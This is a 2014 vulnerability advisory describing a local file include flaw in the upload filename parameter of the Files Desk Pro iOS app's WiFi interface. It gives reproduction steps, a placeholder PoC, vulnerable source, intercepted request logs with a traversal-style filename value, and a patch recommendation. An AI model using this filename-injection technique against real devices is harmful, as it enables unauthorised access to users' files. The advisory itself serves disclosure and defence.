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Document Title:
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===============
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Files Desk Pro v1.4 iOS - File Include Web Vulnerability
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1266
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Release Date:
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=============
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2014-05-16
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1266
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Common Vulnerability Scoring System:
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====================================
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6.7
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Product & Service Introduction:
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===============================
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FileDesk is iPhone/iPad app for managing your files. Read differect kind of files,Create PDFs with different contents, Make your
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documents/files private,Share Your files over WiFi. File Desk - A digital desk for your files. Manage your Documents/Files With File Desk.
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(Copy of the Homepage: https://itunes.apple.com/ag/app/file-desk-pro-documents-manager/id600550320 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered a local file include web vulnerability in the official Files Desk Pro v1.4 iOS mobile web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2014-05-16: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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LiveBird Technologies Private Limited
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Product: Files Desk Pro & Lite 1.4
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Exploitation Technique:
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=======================
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Local
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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A local file include web vulnerability has been discovered in the official Files Desk Pro v1.4 iOS mobile web-application.
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The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system
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specific path commands to compromise the mobile web-application.
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The web vulnerability is located in the `filename` value of the `upload` module. Remote attackers are able to inject own files
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with malicious `filename` values in the `upload` POST method request to compromise the mobile web-application. The local file/path
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include execution occcurs in the `index file dir` list of the `filesdesk` manager. The attacker is able to inject the local file
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include request by usage of the `wifi interface` or by a local privileged application user accounts via `file sync`(app).
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Remote attackers are also able to exploit the filename validation issue in combination with persistent injected script codes to
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execute different local malicious attacks requests. The attack vector is on the application-side of the wifi service and the
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request method to inject is POST. The security risk of the local file include web vulnerability is estimated as high with a
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cvss (common vulnerability scoring system) count of 6.7.
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Exploitation of the local file include web vulnerability requires no user interaction but a privileged web-application user
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account with low user auth. Successful exploitation of the local file include web vulnerability results in mobile application
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or connected device component compromise.
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Request Method(s):
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[+] [POST] - Remote
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[+] [SYNC] - Local
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Vulnerable Module(s):
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[+] FilesDesk Wifi (UI)
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Vulnerable Function(s):
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[+] Upload
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Vulnerable Parameter(s):
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[+] filename
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Affected Module(s):
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[+] Index File Dir Listing (http://localhost:8081/)
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Proof of Concept (PoC):
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=======================
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The local file/path include web vulnerability can be exploited local attackers without privileged application user account and without user interaction.
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For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
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Manual steps to reproduce ...
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1. Install the FileDesk mobile application to your iOS device (ipad or iphone)
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2. Start the local wifi web-server and share some random files
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3. Connect with another remote computer to the local web-server interface url > web.localhost:8081
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4. Start a session tamper and choose a random file to upload
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5. Submit the upload form and intercept in the session to change the vulnerable filename value to a local device file/path
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Note: Can also be combined with script codes and html tags
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6. Refresh the index and the execution of the malicious request occurs in the index file dir list (name value)
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7. Successful reproduce of the file include web vulnerability!
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PoC: FilesDesk Index
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<table border="0" cellpadding="0" cellspacing="0">
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<thead>
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<tr><th>Name</th><th class="del">Delete</th></tr>
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</thead>
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<tbody id="filelist">
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<tr><td><a href="/files/%3C[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png" class="file"><[LOCAL FILE/PATH INCLUDE
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VULNERABILITY!]">.png</a></td><td class='del'><form action='/files/%3C[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png'
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method='post'><input name='_method' value='delete' type='hidden'/><input name="commit" type="submit" value="Delete" class='button'
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/></td></tr></tbody></table></iframe></a></td></tr></tbody>
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</table>
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Vulnerable Source: Upload Script
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<script type="text/javascript" charset="utf-8">
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var now = new Date();
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$.getJSON("/files?"+ now.toString(),
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function(data){
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var shadow = false;
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$.each(data, function(i,item){
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var trclass='';
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if (shadow)
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trclass= " class='shadow'";
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encodeName = encodeURI(item.name).replace("'", "'");
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$("<tr" + trclass + "><td><a href='/files/" + encodeName + "' class='file'>" + item.name + "</a></td>" + "<td
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class='del'><form action='/files/" + encodeName + "' method='post'><input name='_method' value='delete' type='hidden'/><input name=
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\"commit\" type=\"submit\" value=\"Delete\" class='button' /></td>" + "</tr>").appendTo("#filelist");
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shadow = !shadow;
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});
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});
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</script>
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--- PoC Session Logs [POST] ---
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Status: 302[Found]
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POST http://192.168.2.104:8081/files Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[67] Mime Type[text/html]
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Request Header:
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Host[192.168.2.104:8081]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://192.168.2.104:8081/]
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Connection[keep-alive]
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POST-Daten:
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POST_DATA[-----------------------------147491436412682
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Content-Disposition: form-data; name="newfile"; filename="%3C../[LOCAL FILE/PATH INCLUDE VULNERABILITY!].png"
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Content-Type: image/png
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Status: 200[OK]
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GET http://192.168.2.104:8081/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Gr<47><72>e des Inhalts[2953] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[192.168.2.104:8081]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://192.168.2.104:8081/]
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Connection[keep-alive]
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Response Header:
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Accept-Ranges[bytes]
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Content-Length[2953]
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Date[Do., 15 Mai 2014 14:27:35 GMT]
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Status: 200[OK]
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GET http://192.168.2.104:8081/files?Thu%20May%2015%202014%2016:14:57%20GMT+0200 Load Flags[LOAD_BACKGROUND ] Gr<47><72>e des Inhalts[39] Mime Type[text/plain]
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Request Header:
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Host[192.168.2.104:8081]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]
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Accept[application/json, text/javascript, */*]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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X-Requested-With[XMLHttpRequest]
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Referer[http://192.168.2.104:8081/]
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Connection[keep-alive]
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Response Header:
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Accept-Ranges[bytes]
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Content-Length[39]
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Cache-Control[private, max-age=0, must-revalidate]
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Content-Type[text/plain; charset=utf-8]
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Date[Do., 15 Mai 2014 14:27:37 GMT]
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Status: 200[OK]
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GET http://192.168.2.104:8081/%3C../[LOCAL FILE/PATH INCLUDE VULNERABILITY!] Load Flags[LOAD_DOCUMENT_URI ] Gr<47><72>e des Inhalts[0] Mime Type[application/x-unknown-content-type]
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Request Header:
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Host[192.168.2.104:8081]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de,en-US;q=0.7,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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Referer[http://192.168.2.104:8081/]
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Connection[keep-alive]
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Response Header:
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Accept-Ranges[bytes]
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Content-Length[0]
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Date[Do., 15 Mai 2014 14:27:38 GMT]
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Reference(s):
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http://web.localhost:8081/[x]
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http://web.localhost:8081/files
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Solution - Fix & Patch:
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=======================
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The vulnerability can be patched by a secure parse and encode of the filename value in the upload POST method request.
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Disallow special chars for files and foldernames and restrict the user input. Encode and parse also the vulnerable name output value.
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Security Risk:
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==============
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The security risk of the local file include web vulnerability in the filename value is estimated as high(-).
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
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expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
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are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
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if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
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of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
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any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com |